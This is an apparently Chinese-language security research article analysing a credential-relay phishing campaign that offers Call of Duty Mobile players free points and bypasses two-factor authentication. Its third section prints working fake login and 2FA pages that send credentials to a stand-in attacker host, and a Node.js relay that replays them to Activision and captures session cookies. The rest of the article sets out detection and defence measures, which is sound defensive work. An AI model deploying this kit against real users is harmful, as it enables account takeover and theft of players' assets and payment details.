
摘要
以 2026 年 7 月 Malwarebytes 披露的《使命召唤手游》免费 CP 点券定向钓鱼活动为研究样本,系统剖析面向移动游戏玩家、依托福利诱导话术、采用实时凭证中继(AiTM)技术绕过双重认证机制的完整攻击链路。本文完整还原仿冒游戏官网页面前端伪造逻辑、账号密码实时转发后端代理流程、二次页面捕获 2FA 验证码三段式攻击闭环,提供钓鱼页面 HTML 伪造代码、Node.js 反向凭证中继代理 PoC 脱敏代码样本,厘清该类钓鱼针对游戏账号资产变现的经济驱动逻辑。研究发现,该攻击区别于传统静态凭据窃取钓鱼,核心突破点在于实时中继机制可同步转发受害者输入的账号、密码、一次性验证码至 Activision 官方认证接口,完整截取有效会话凭证,突破大众认知中 2FA 可完全抵御盗号的安全共识。反网络钓鱼技术专家芦笛指出,当前普通游戏玩家、轻量化终端防护工具均缺乏针对 AiTM 中间人钓鱼的识别能力,游戏厂商现有账号风控体系存在显著检测盲区。文章从攻击经济动因、前端伪造技术、后端中继架构、社会工程话术设计四大维度拆解威胁特征,构建覆盖玩家安全教育、浏览器终端检测、游戏平台接口风控、第三方安全工具协同四层闭环防御体系,可为手游厂商、移动安全厂商、普通游戏用户提供可落地的对抗方案。
关键词:网络钓鱼;AiTM 中间人攻击;实时凭证中继;手游账号窃取;双重认证绕过;社会工程;Activision 账号安全

1 引言
1.1 研究背景
移动游戏产业长期保持高速扩张,《使命召唤手游》全球累计下载量达 4.89 亿次,终身内购收入规模突破 18 亿美元,大量玩家账号绑定 Xbox、PlayStation、Battle.net多平台账户,存储支付方式、完整消费记录、稀有游戏道具等多重高价值资产,形成稳定的黑色产业链交易标的。针对游戏账号的定向网络钓鱼已成为黑产主流牟利手段,传统钓鱼网站仅静态存储账号密码,无法绕过账号双重验证机制,攻击收益存在明显天花板;而实时凭证中继(Adversary-in-the-Middle,AiTM)钓鱼套件通过反向代理构建受害者与官方认证服务器之间的透明隧道,同步转发全部身份验证数据,能够完整截获通过 2FA 校验后的有效会话,大幅提升盗号成功率。
2026 年 7 月 Malwarebytes 安全实验室曝光的《使命召唤手游》免费点券钓鱼活动,是典型面向手游玩家、融合福利类社会工程话术与 AiTM 实时中继技术的标准化攻击案例。该钓鱼套件放弃复杂恶意载荷投放,仅依靠纯前端页面伪造与后端代理转发实现全流程盗号,部署成本低、传播门槛低,适配手机、PC 多终端访问场景,在短视频、游戏社群、社交平台大规模扩散。现有网络钓鱼研究多聚焦政企办公系统、加密资产平台中间人攻击,针对手游玩家群体、福利诱导场景的 AiTM 钓鱼全链路技术拆解与专项防御方案相对匮乏,存在研究空白。
1.2 研究意义
理论层面,本文完整拆解手游福利场景下 AiTM 实时凭证中继钓鱼的前后端协同架构,厘清 “福利诱饵引流 — 仿冒页面采集凭据 — 后端实时中继认证 — 二次页面捕获 2FA 验证码 — 截取有效会话” 的闭环攻击逻辑,补充消费级移动互联网场景中间人钓鱼的细分技术研究,明确双重认证机制在实时中继攻击下的固有安全缺陷。实践层面,文中脱敏 PoC 代码可支撑游戏安全团队、移动安全厂商搭建针对性检测与拦截规则;反网络钓鱼技术专家芦笛提出的四层分层防御模型,可直接落地于手游厂商账号风控、浏览器安全插件、玩家安全科普等场景,弥补当前单一依赖账号密码校验、缺乏中继流量识别的防护短板。同时,本文对黑产牟利链路的梳理,可为平台打击账号交易、溯源钓鱼基础设施提供线索支撑。
1.3 研究内容与文章框架
本文共设置六大核心章节:第一部分梳理本次钓鱼活动的产业背景、账号资产价值与攻击传播特征;第二部分完整拆解三段式攻击全流程,逐一解析社会工程话术、前端页面伪造、实时凭证中继、2FA 捕获技术细节;第三部分提供钓鱼页面前端 HTML/JS 脱敏代码、后端 Node.js 中继代理 PoC 代码,逐段注释核心攻击逻辑;第四部分分析该类 AiTM 钓鱼相较于传统静态钓鱼的差异化技术优势与安全风险;第五部分结合攻防实践构建全生命周期闭环防御体系,嵌入反网络钓鱼技术专家芦笛的专业研判观点;第六部分总结研究结论,提出手游平台、终端安全厂商、玩家三方协同的安全建设建议,并说明研究局限与后续拓展方向。
2 手游福利诱导钓鱼活动基础概况与攻击动因
2.1 目标账号资产价值与黑产变现逻辑
《使命召唤手游》内付费货币 CP(Call of Duty Points)是黑产核心诱饵,攻击者以免费发放 10800 点券为噱头吸引玩家访问钓鱼站点,其背后存在清晰的多层变现链条,也是该类攻击持续泛滥的核心驱动力。
第一,账号内资产直接变现:被盗账号包含大量充值点券、限定皮肤、稀有枪械道具,黑产批量收购后通过游戏交易社群、第三方账号平台低价转售;
第二,跨平台关联资产泄露:绝大多数玩家将 Activision 账号绑定 Xbox、PlayStation、Battle.net主机游戏账户,攻击者可同步接管全平台游戏资产;
第三,支付信息滥用:账号内留存绑定的信用卡、第三方支付渠道,黑产可利用留存支付方式发起未经授权消费;
第四,账号批量贩卖:完成盗号后将批量账号打包出售给外挂运营商、账号代练工作室,形成稳定灰色交易流水。
黑产选择福利诱导作为核心社工话术的底层逻辑在于手游玩家普遍存在低成本获取付费道具的心理预期,相较于陌生邮件、恶意链接,免费点券福利对玩家的吸引力更强,页面点击率、信息填写率远高于普通钓鱼。
2.2 钓鱼站点基础特征与识别缺陷
本次曝光的钓鱼站点完整复刻官方《使命召唤手游》活动页面视觉 UI,但存在多处人工疏漏形成可识别特征,同时依托文字话术设计降低玩家警惕性:
文本语法错误:页面宣传文案为 “GET FREE POINT”,标准英文复数形式应为 “GET FREE POINTS”,语句语序生硬、翻译粗糙;
虚假客服组件:页面嵌入无响应的在线聊天窗口,仅用于提升页面仿真实感,无实际客服交互功能;
时间缓冲话术:页面标注奖励将在 4 至 8 小时内发放,利用时间差延缓玩家发现账号被盗的时间,为攻击者登录、转移资产预留操作窗口;
无合规域名标识:站点未使用 Activision 官方域名体系,仅依靠视觉页面混淆用户对地址栏的关注度。
反网络钓鱼技术专家芦笛强调,移动端浏览器地址栏展示空间狭小,绝大多数手游玩家访问外链时不会主动核对完整域名,页面视觉复刻的欺骗效果远高于 PC 端,移动端是该类钓鱼攻击的高发场景。
2.3 实时凭证中继(AiTM)攻击范式定义
实时凭证中继区别于传统静态钓鱼,属于中间人攻击的轻量化分支,无需复杂漏洞利用,仅依靠反向代理服务器完成流量中转,核心执行流程标准化:
攻击者搭建仿冒前端页面,诱导受害者输入账号、密码;
前端脚本将凭据实时传输至攻击者代理后端;
代理程序自动将账号密码转发至 Activision 官方登录接口;
官方服务器下发 2FA 验证码挑战,代理同步将挑战推送至钓鱼页面;
受害者输入一次性验证码提交后,代理再次中继验证码至官方接口;
认证通过后代理截取服务器下发的有效会话 Cookie,留存至攻击者后台,用于后续登录接管账号。
传统静态钓鱼仅本地存储账号密码,即便玩家开启双重验证,攻击者拿到凭据也无法完成登录;而 AiTM 实时中继可同步完成完整认证流程,直接获取有效会话,完全绕过 2FA 防护,这也是该技术被黑产广泛应用于游戏账号盗号的核心原因。
3 三段式 AiTM 手游钓鱼完整攻击链路技术拆解
整套攻击流程分为引流诱导、凭据中继认证、2FA 捕获会话截取三个递进阶段,前后端代码协同形成无断点闭环,每阶段技术实现相互支撑,不存在独立割裂环节。
3.1 阶段一:福利诱饵引流与仿冒页面前端伪造
攻击传播渠道覆盖短视频平台评论区、游戏内公屏消息、Discord 玩家社群、社交软件私信,统一投放带有免费点券福利文案的外链,点击跳转至攻击者搭建的仿冒站点。页面分为两层核心交互模块:福利宣传模块、Activision 账号登录表单模块,前端通过纯 HTML、CSS、JavaScript 实现视觉复刻,无复杂后端逻辑,轻量化部署适配手机浏览器访问。
页面加载完成后执行 JS 监听表单提交事件,用户填写邮箱、密码点击领取奖励时,脚本拦截表单原生提交行为,将凭据通过 WebSocket 实时传输至攻击者中继代理后端,而非直接提交至伪造站点数据库。该设计区别于传统静态钓鱼,实现凭据零延迟转发,为实时中继认证提供数据基础。
3.1.1 仿冒钓鱼页面脱敏前端代码示例(index.html)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<!-- 适配手机移动端显示 -->
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Call of Duty Mobile Free CP Reward</title>
<style>
/* 复刻官方页面配色与布局 */
body {background: #0f1419; color: #fff; font-family: Arial, sans-serif; margin:0; padding:20px;}
.reward-box {max-width: 420px; margin: 0 auto; background:#1e2732; padding:30px; border-radius:12px;}
.title {font-size:24px; text-align:center; color:#ffc107;}
.tip-text {color:#ccc; font-size:14px; text-align:center; margin:10px 0 25px;}
/* 伪造登录输入框样式 */
input {width:100%; box-sizing:border-box; padding:12px; margin:8px 0; border:none; border-radius:6px; font-size:16px;}
.submit-btn {background:#ff4422; color:#fff; font-weight:bold; cursor:pointer; margin-top:15px;}
/* 虚假在线客服窗口 */
.fake-chat {margin-top:20px; border:1px solid #444; padding:10px; font-size:13px; color:#aaa; text-align:center;}
.countdown {color:#ffc107; text-align:center; margin:15px 0;}
</style>
</head>
<body>
<div class="reward-box">
<h2 class="title">GET FREE POINT 10800 CP</h2>
<p class="tip-text">Login your Activision account to claim reward, confirm within 4-8 hours</p>
<div class="countdown">Limited Time Offer Countdown</div>
<!-- 伪造账号密码输入表单 -->
<input type="email" id="userMail" placeholder="Activision Email Address">
<input type="password" id="userPwd" placeholder="Account Password">
<input type="button" class="submit-btn" id="claimBtn" value="Claim Free CP Now">
<!-- 虚假客服组件,无交互逻辑 -->
<div class="fake-chat">Online Support Chat: Waiting for agent...</div>
</div>
<script>
// 建立与攻击者中继后端的WebSocket长连接
const ws = new WebSocket("wss://attacker-relay-server.com/relay");
let victimSessionId = Math.random().toString(36).slice(2);
// 领取按钮点击事件拦截
document.getElementById("claimBtn").addEventListener("click", function(){
const mail = document.getElementById("userMail").value.trim();
const pwd = document.getElementById("userPwd").value.trim();
if(mail && pwd){
// 将账号密码实时推送至中继后端
ws.send(JSON.stringify({
type: "ACCOUNT_CRED",
sessionId: victimSessionId,
email: mail,
password: pwd
}));
// 跳转至2FA验证码捕获页面
window.location.href = "./2fa-capture.html?s=" + victimSessionId;
}else{
alert("Please fill your account info completely");
}
});
</script>
</body>
</html>
代码核心功能说明:页面复刻官方视觉风格,内置倒计时、虚假客服组件强化社工欺骗;WebSocket 建立长连接,实现账号密码实时传输至攻击者代理服务器;校验输入非空后直接跳转至二次 2FA 捕获页面,全程无本地存储凭据,规避浏览器本地日志溯源。
3.1.2 2FA 验证码捕获页面脱敏代码(2fa-capture.html)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Account Security Verification</title>
<style>
body {background:#0f1419; color:#fff; font-family:Arial; padding:20px;}
.verify-box {max-width:400px; margin:0 auto; background:#1e2732; padding:30px; border-radius:12px;}
input {width:100%; padding:12px; margin:10px 0; border-radius:6px; border:none; font-size:16px;}
.submit-2fa {background:#ff4422; color:#fff; font-weight:bold; padding:12px; border:none; width:100%; cursor:pointer;}
.hint {color:#ccc; font-size:14px; text-align:center; margin-bottom:20px;}
</style>
</head>
<body>
<div class="verify-box">
<h3 style="text-align:center">Security 2FA Verification</h3>
<p class="hint">Enter the 6-digit code sent to your mobile/email</p>
<input type="text" id="authCode" placeholder="6 Digit Authentication Code">
<button class="submit-2fa" id="submitAuth">Complete Verification & Receive CP</button>
</div>
<script>
const ws = new WebSocket("wss://attacker-relay-server.com/relay");
// 从前缀URL获取受害者唯一会话标识
const urlParams = new URLSearchParams(window.location.search);
const sessionId = urlParams.get("s");
document.getElementById("submitAuth").addEventListener("click", function(){
const code = document.getElementById("authCode").value.trim();
if(code.length === 6){
// 将2FA验证码同步发送至中继代理
ws.send(JSON.stringify({
type: "MFA_CODE",
sessionId: sessionId,
authCode: code
}));
alert("Reward submitted successfully, please wait 4-8 hours");
window.location.href = "https://www.callofduty.com";
}else{
alert("Please input valid 6-digit code");
}
});
</script>
</body>
</html>
该页面核心作用为捕获官方服务器下发的一次性验证码,受害者输入验证码提交后,数据同步推送至后端中继程序,完成完整身份验证数据收集,页面最后跳转至真实官方网站,降低受害者事后怀疑概率。
3.2 阶段二:后端实时凭证中继代理核心执行逻辑
攻击者部署 Node.js 反向代理服务器作为中继枢纽,接收前端 WebSocket 传输的账号密码,自动封装 HTTP 请求转发至 Activision 官方登录接口;等待官方服务器返回 2FA 挑战指令后,维持会话状态,等待前端回传验证码,再次中继完成全流程认证。代理程序内置会话存储模块,认证通过后提取 Set-Cookie 字段中的有效登录会话,持久化存储至攻击者数据库,用于后续无密码登录受害者账号。
3.2.1 Node.js 实时凭证中继代理 PoC 脱敏代码(relay-server.js)
// 依赖模块:ws、axios、cheerio,仅用于学术技术复现
const WebSocket = require('ws');
const axios = require('axios');
// 官方Activision登录接口地址
const ACT_LOGIN_API = "https://login.activision.com/api/login";
const ACT_MFA_API = "https://login.activision.com/api/mfa/verify";
// 存储受害者会话、凭据、有效登录Cookie
const victimSessionPool = new Map();
// 启动WebSocket中继服务
const wss = new WebSocket.Server({ port: 8080 });
wss.on('connection', (clientWs) => {
console.log("New victim client connected");
clientWs.on('message', async (rawMsg) => {
try {
const msgData = JSON.parse(rawMsg);
const sid = msgData.sessionId;
// 分支1:接收账号密码,中继至官方登录接口
if(msgData.type === "ACCOUNT_CRED"){
const loginPayload = {
email: msgData.email,
password: msgData.password
};
// 向Activision发起登录请求
const loginResp = await axios.post(ACT_LOGIN_API, loginPayload, {
headers: {"User-Agent":"Mozilla Mobile Safari"},
withCredentials: true
});
// 缓存当前会话上下文,等待2FA验证码
victimSessionPool.set(sid, {
cred: loginPayload,
loginRespCookie: loginResp.headers['set-cookie'],
sessionValid: false
});
}
// 分支2:接收2FA验证码,完成二次认证
if(msgData.type === "MFA_CODE"){
const sessionCache = victimSessionPool.get(sid);
if(!sessionCache) return;
const mfaPayload = {
email: sessionCache.cred.email,
code: msgData.authCode
};
// 中继验证码至MFA验证接口
const mfaResp = await axios.post(ACT_MFA_API, mfaPayload, {
headers: {Cookie: sessionCache.loginRespCookie.join("; ")}
});
// 认证成功,截取完整有效会话Cookie
if(mfaResp.data.success === true){
const finalSessionCookie = mfaResp.headers['set-cookie'];
victimSessionPool.set(sid, {
...sessionCache,
finalAuthCookie: finalSessionCookie,
sessionValid: true
});
// 攻击者后台输出可直接登录的会话凭证
console.log("Hijacked Valid Session Cookie:", finalSessionCookie);
}
}
} catch (err) {
console.log("Relay request failed:", err.message);
}
});
});
console.log("AiTM Credential Relay Server Running on Port 8080");
代码核心技术逻辑拆解:
WebSocket 服务持续监听钓鱼页面前端传输的凭据数据,以唯一 sessionId 隔离不同受害者会话,避免数据混淆;
接收账号密码后封装标准登录请求,携带移动端 UA 模拟真实玩家访问行为,绕过平台基础访问风控;
缓存登录响应 Cookie,等待前端传入 2FA 验证码,复用同一会话上下文完成二次验证;
认证通过后提取完整身份会话 Cookie,持久化存储,攻击者可直接使用该 Cookie 免密登录受害者 Activision 账号,接管全部游戏资产与绑定支付信息。
3.3 阶段三:会话截取与账号资产非法处置
当代理服务器成功捕获有效会话 Cookie 后,攻击者可通过两种路径完成账号接管与资产转移:
第一,浏览器注入 Cookie 登录:攻击者将存储的会话 Cookie 导入浏览器,直接访问 Activision 官网,无需输入账号密码、2FA 验证码即可完整登录账号,操作游戏点券、稀有道具、绑定支付渠道;
第二,自动化脚本批量处置:编写批量 API 调用脚本,自动转移账号内 CP 点券、交易稀有皮肤,解绑绑定的 Xbox、PlayStation 关联账户,修改账号绑定邮箱与手机号,彻底阻断受害者找回账号的渠道。
反网络钓鱼技术专家芦笛强调,该攻击最核心的安全隐患在于玩家普遍认为开启双重认证即可完全抵御盗号,却忽略实时中继攻击会同步转发全部验证交互流程,2FA 验证码无法区分合法用户与中间人代理请求,现有认证机制存在底层逻辑缺陷。
4 该 AiTM 手游钓鱼与传统静态钓鱼的差异化技术风险分析
传统游戏钓鱼网站仅静态存储账号密码,无法突破双重认证防护,攻击成功率极低;本次曝光的实时凭证中继钓鱼融合前端视觉伪造、WebSocket 实时传输、反向代理中间人转发技术,形成多重差异化威胁,风险维度覆盖玩家、游戏厂商、终端安全三方。
4.1 实时中继机制彻底消解 2FA 安全防护价值
双重验证码(短信、邮箱 6 位数字校验码)是手游平台主流账号安全加固手段,其安全前提为仅账号持有人本人可接收并输入验证码。AiTM 实时中继架构打破该前提:受害者输入账号密码触发官方 2FA 下发,验证码挑战经由钓鱼页面展示给受害者,受害者提交验证码后同步转发至官方服务器完成认证,中间人全程同步参与完整交互流程,平台无法识别请求来源于攻击者代理而非用户原生客户端。
反网络钓鱼技术专家芦笛指出,当前绝大多数手游厂商仅依靠验证码完成身份校验,未引入设备指纹、登录行为风控、IP 地域校验等辅助判断维度,给实时中继钓鱼留下充足攻击空间,单纯依靠短信 2FA 无法抵御该类中间人攻击。
4.2 轻量化纯 Web 架构大幅降低黑产部署传播门槛
本次钓鱼套件全程仅依赖静态 HTML 页面与轻量 Node.js 代理服务,无客户端恶意程序、无复杂编译载荷,具备三大低成本优势:
部署成本低:仅需普通云服务器、免费域名即可搭建完整钓鱼站点,无需专业恶意代码开发能力;
跨终端适配:PC 浏览器、手机移动端、平板均可正常访问,适配手游玩家多设备使用场景;
传播限制少:纯静态页面无可执行文件,社交平台、短视频外链检测工具难以基于文件特征拦截,传播扩散效率远高于携带恶意附件的钓鱼。
相较于需要开发、分发木马程序的盗号手段,该类 Web 钓鱼技术门槛极低,黑产可批量搭建数十套仿冒站点同步运营,规模化窃取玩家账号。
4.3 福利类社会工程话术弱化用户风险识别意识
普通办公钓鱼多采用账单、内部通知、系统故障等话术,用户具备基础警惕性;而手游福利诱导贴合玩家核心需求,利用 “免费点券、限时福利” 的心理暗示,搭配倒计时计时器、虚假客服组件、缓冲发放话术多层心理引导,形成完整社会工程欺骗闭环。
倒计时组件制造紧迫感,迫使玩家快速操作,无暇核对域名、页面语法错误等风险标识;
虚假在线客服窗口提升页面正规感,降低玩家对站点真实性的怀疑;
4-8 小时奖励缓冲时间,延迟玩家发现账号被盗的时间,为攻击者转移资产预留操作窗口。
普通玩家未接受系统网络安全培训,难以识别页面语法错误、异常域名等细微钓鱼特征,是该类攻击持续高发的核心人为因素。
4.4 流量特征隐蔽,传统安全检测工具识别困难
传统钓鱼检测依赖三类基础特征:恶意域名黑名单、页面静态关键词匹配、恶意文件哈希检测;而本次 AiTM 钓鱼存在多重规避特性:
域名批量动态注册,更新速度快,黑名单库无法实时覆盖新增仿冒域名;
页面 UI 高度复刻官方站点,关键词、配色、布局与正规页面高度重合,静态文本匹配规则难以区分;
无落地恶意程序,不存在可检测的病毒文件特征,终端杀毒软件无法触发告警;
中继代理流量加密传输,网关流量审计仅能识别 HTTPS 加密数据流,无法解析内部凭据交互内容。
轻量化浏览器防护插件、移动端基础安全软件缺乏 WebSocket 实时流量解析能力,无法识别页面向后端中继服务器传输账号密码的高危行为,形成检测盲区。
5 面向手游 AiTM 实时凭证中继钓鱼的四层闭环防御体系
结合攻击全链路技术特征,从玩家终端事前防护、浏览器实时流量检测、手游平台账号风控、事后事件溯源处置四个维度构建分层防御体系,同步植入反网络钓鱼技术专家芦笛的落地优化观点,形成覆盖攻击全生命周期的对抗方案。
5.1 第一层:玩家端事前安全意识管控与轻量化防护
5.1.1 分层玩家安全科普培训
手游厂商针对不同玩家群体推送差异化安全提示:
新玩家:游戏登录弹窗推送钓鱼识别基础教程,重点讲解 “免费点券外链、陌生社群福利链接” 两类高频诱饵;
高充值付费玩家:通过游戏内邮件、官方 APP 推送专项预警,科普 AiTM 中间人钓鱼绕过 2FA 的攻击原理;
社群管理员、游戏主播:定向推送钓鱼站点特征识别清单,要求社群内清理福利类陌生外链,阻断传播渠道。
反网络钓鱼技术专家芦笛强调,移动端玩家很少主动核对浏览器地址栏完整域名,科普内容需重点强调 “仅通过游戏内内置商城、官方 APP 领取付费道具,不点击外部社交平台福利链接” 的核心行为准则,从源头切断攻击引流路径。
5.1.2 移动端、PC 端轻量化安全工具部署
推荐玩家部署具备实时网页行为检测能力的浏览器防护插件与移动端安全软件:
Malwarebytes Browser Guard、Scam Guard 工具内置游戏钓鱼特征库,自动拦截仿冒 Activision、COD 手游页面;
移动端安全软件监控浏览器 WebSocket 异常外联行为,当页面向后端未知服务器传输账号、密码文本时实时弹窗告警;
关闭浏览器自动填充密码功能,禁止陌生页面读取本地存储账号凭据,减少信息泄露风险。
5.2 第二层:浏览器与网关事中实时流量拦截机制
5.2.1 前端页面高危行为检测规则
浏览器安全插件内置 JS 行为检测规则,命中以下行为直接阻断页面加载并告警:
页面通过 WebSocket、Fetch 接口向外部未知域名传输邮箱、密码格式文本;
页面拦截表单原生提交逻辑,劫持输入凭据转发至第三方服务器;
页面嵌入虚假在线客服、倒计时诱导组件,且域名不在厂商官方白名单内;
页面存在明显英文语法错误、错别字等仿冒页面特征文本。
5.2.2 网关域名与流量特征过滤
企业级网络网关、运营商流量检测平台搭建双层过滤规则:
动态域名信誉库:实时收录新注册仿冒游戏站点域名,批量拦截访问请求;
WebSocket 外联检测:监控浏览器建立的 WebSocket 长连接,识别页面向境外未知服务器传输账号明文的流量行为;
实时中继代理特征识别:检测短时间内同一 IP 连续向 Activision 登录接口批量提交账号密码、2FA 验证码的异常请求,判定为 AiTM 中继流量并阻断 IP 访问。
5.3 第三层:手游厂商账号平台后端风控兜底机制
即便玩家误入钓鱼站点提交凭据,平台精细化风控规则可阻断攻击者资产转移操作,是最后一道安全防线。
多维度登录行为校验:记录玩家常用登录设备、IP 地域、浏览器指纹,当陌生代理 IP、全新设备发起登录会话时,强制触发高等级人脸核验、绑定手机号通话验证,阻断中间人会话登录;
2FA 交互上下文校验:检测验证码请求来源,区分游戏官方 APP、官方网页与第三方代理转发请求,代理中继类异常请求直接失效验证码;
资产操作风控:新陌生会话登录账号后,限制点券交易、道具赠送、支付渠道解绑等高敏感操作,等待 72 小时冷静期,同时推送账号异常登录提醒至玩家绑定手机;
外链访问管控:游戏内、官方社群禁止发布外部福利外链,自动过滤带有 “免费 CP、点券领取” 关键词的陌生链接。
反网络钓鱼技术专家芦笛指出,当前多数手游厂商仅依靠账号密码、验证码完成登录校验,缺失设备、IP、行为多维度风控校验体系,是实时中继钓鱼能够成功盗号的核心平台短板,补充多层上下文校验可大幅降低账号资产损失风险。
5.4 第四层:账号泄露事后应急处置与威胁情报迭代
5.4.1 玩家账号泄露标准化处置流程
若玩家不慎输入账号密码与 2FA 验证码,固定处置步骤:
立即修改 Activision 账号登录密码,复杂度提升至大小写、数字、符号组合;
远程登出账号全部登录设备,清空浏览器本地存储会话 Cookie;
逐一检查绑定 Xbox、PlayStation、Battle.net关联账户,同步修改各平台密码;
核查账号绑定支付渠道,关闭免密支付功能,查看是否存在未经授权消费记录;
解绑陌生登录设备,更换双重验证绑定手机号、邮箱。
5.4.2 钓鱼威胁情报持续迭代机制
手游厂商、移动安全厂商建立情报共享协同机制:
捕获新增仿冒钓鱼域名、中继服务器 IP、WebSocket 通信地址,实时同步至全网域名黑名单;
提取钓鱼页面 JS 特征、中继代理请求报文特征,更新浏览器、网关检测规则库;
溯源钓鱼基础设施运营商、域名注册渠道,联合监管机构关停恶意站点,打击黑产运营链路;
定期复盘钓鱼攻击案例,更新平台风控规则、玩家安全科普内容,形成 “攻击捕获 — 规则更新 — 预警推送” 的闭环迭代。
6 结论与行业安全建设建议
6.1 研究核心结论
本文基于 Malwarebytes 2026 年 7 月披露的《使命召唤手游》免费点券 AiTM 实时凭证中继钓鱼原始安全报告,结合前端伪造页面、后端中继代理脱敏 PoC 代码完整拆解攻击全链路,得出三项核心结论:
第一,面向手游玩家的福利诱导型 AiTM 钓鱼依托轻量化 Web 架构,突破传统静态钓鱼无法绕过双重认证的技术瓶颈,利用实时凭证中继同步转发账号密码与 2FA 验证码,直接截取有效登录会话,对游戏账号、绑定支付资产、跨平台游戏账户构成持续性盗取风险;
第二,该类攻击能够大规模扩散的核心诱因包含三层:黑产低成本部署传播、玩家福利心理弱化风险识别、手游平台账号风控体系缺失设备与行为校验维度,单一依靠短信 / 邮箱双重验证无法形成有效防护;
第三,对抗 AiTM 实时中继钓鱼不能仅依靠单一防护手段,必须构建玩家安全教育、浏览器流量实时检测、游戏平台后端多维度风控、事后情报溯源四层协同闭环防御体系,从引流入口、凭据传输、账号登录、资产操作全链路阻断攻击。
6.2 移动游戏行业针对性安全建设建议
平台技术防护层面:手游厂商完善账号登录风控体系,新增设备指纹、IP 地域、登录行为上下文校验机制,对代理中继类异常登录强制高等级人脸核验;优化 2FA 验证码下发逻辑,校验请求来源上下文,拦截第三方中继转发的验证请求;
终端安全产品层面:浏览器插件、移动端安全软件新增 WebSocket 高危外联检测规则,识别页面劫持表单、向外传输账号密码的恶意 JS 行为,实时拦截仿冒游戏钓鱼页面;
用户安全运营层面:常态化推送福利类钓鱼专项科普,在游戏内、官方社群清理陌生外链传播渠道,针对高付费玩家定向推送 AiTM 中间人攻击风险预警;
行业协同层面:各大游戏厂商、移动安全企业建立钓鱼威胁情报共享机制,同步更新恶意域名、中继服务器 IP、页面特征库,联合监管机构打击游戏账号盗号黑色产业链。
6.3 研究局限性与后续研究方向
本文仅针对单款手游福利诱导场景下的 AiTM 实时凭证中继钓鱼开展技术分析,当前黑产已将同类中继钓鱼套件拓展至多款热门手游、主机游戏平台,不同厂商账号认证接口存在差异化逻辑,后续可开展多平台中间人钓鱼横向对比研究;同时,当前防御方案主要面向 PC、手机浏览器场景,针对游戏客户端内置浏览器的中继钓鱼检测机制有待进一步完善。此外,生成式 AI 赋能的动态仿冒页面钓鱼已逐步出现,AI 自动生成福利诱导话术、动态修改页面规避特征检测,可作为下一阶段重点研究方向。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。